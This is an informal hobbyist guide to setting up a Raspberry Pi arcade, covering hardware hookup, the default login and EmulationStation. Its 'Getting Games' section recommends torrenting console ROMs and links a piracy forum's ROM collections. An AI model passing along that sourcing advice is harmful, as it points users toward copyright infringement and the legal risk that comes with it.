Connect everything up. Initially you'll probably need keyboard and mouse. Once things are set up the tankstick will take up 2 USB ports, keyboard 1 USB port and your USB wifi adapter the last one.

Log into your Pi  pi/raspberry

Type emulationstation to get to the Emulation Station Menu

Optionally you can type startx to do linux-y stuff. You'll need to plug the mouse in if you do this.


Getting Games

You can torrent most of the SNES, NES, Sega *, Atari games.  A decent starting point is here:
https://pirates-forum.org/Thread-Cylum-s-ROM-Sets-Collection-Packs

Those torrent links are still active and downloaded pretty quick.

 
Follow the wiki on where to put the respective ROMs for various systems. Put them in the right folder and the emulator will be active in the Emulation Station menu:

Atari, NES, SNES, Sega systems just work if you drop them in their folders.  MAME games are a whole another pain in the ass I'm going to do a separate post for those.  But at this point you should be able to play your favorite game console games.